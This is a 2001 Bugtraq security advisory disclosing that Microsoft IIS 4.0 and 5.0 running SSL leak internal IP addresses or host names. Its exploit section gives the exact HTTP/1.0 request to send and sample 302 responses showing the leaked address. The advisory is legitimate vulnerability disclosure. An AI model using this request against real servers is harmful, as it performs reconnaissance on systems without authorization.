[22150] in bugtraq
Internal IP Address Disclosure in Microsoft-IIS 4.0 & 5.0
daemon@ATHENA.MIT.EDU (Marek Roy)
Wed Aug 8 11:19:38 2001
Date: 8 Aug 2001 04:54:55 -0000
Message-ID: <20010808045455.11430.qmail@securityfocus.com>
From: Marek Roy <marek_roy@hotmail.com>
To: bugtraq@securityfocus.com
GGS-AU / e-Synergies Security Advisory
August 8, 2001
Internal IP Address Disclosure in Microsoft-IIS 4.0 &
5.0
Synopsis:
e-Synergies has discovered and researched remote
vulnerability in Internet Information Server from
Microsoft. Successful
exploitation of this vulnerability can reveal critical
internal information such as Internal IP Address or
Internal host name.
Affected Versions:
Microsoft IIS 4.0 running SSL
Microsoft IIS 5.0 running SSL
Description:
By connecting manually to port TCP/443 (SSL) using
Perl(SSLeay) or any other tools, a remote user has
the ability to retrieve
Internal IP address or reveal the machine's network
node hostname.
Exploit:
1- Browse the web site using a normal SSL
browser and find any directory. I.E.:
https://www.target.com/images/icon.gif
2- Using a compatible SSL Perl script, execute the
following command once connected to port 443 of
www.target.com:
GET /images HTTP/1.0
3- The result should look like this:
HTTP/1.1 302 Object Moved
Location: https://192.168.1.10/images/
Server: Microsoft-IIS/4.0
Content-Type: text/html
Content-Length: xxx
or
HTTP/1.1 302 Object Moved
Location: https://netbiosname/images/
Server: Microsoft-IIS/4.0
Content-Type: text/html
Content-Length: xxx
Remarks:
Using HTTP/1.1 instead of HTTP/1.0 will not give the
same result.
Credits:
Marek Roy
Senior IT Security Consultant
Please send suggestions, updates, and comments to:
GGS-AU / e-synergies, Sydney, Australia
Level 9
65 York Street
Sydney NSW 2001
Australia
Phone: +61 2 9279 2533
Fax: +61 2 9279 2544
Email: enquiries@ggs-au.com
http://www.ggs-au.com
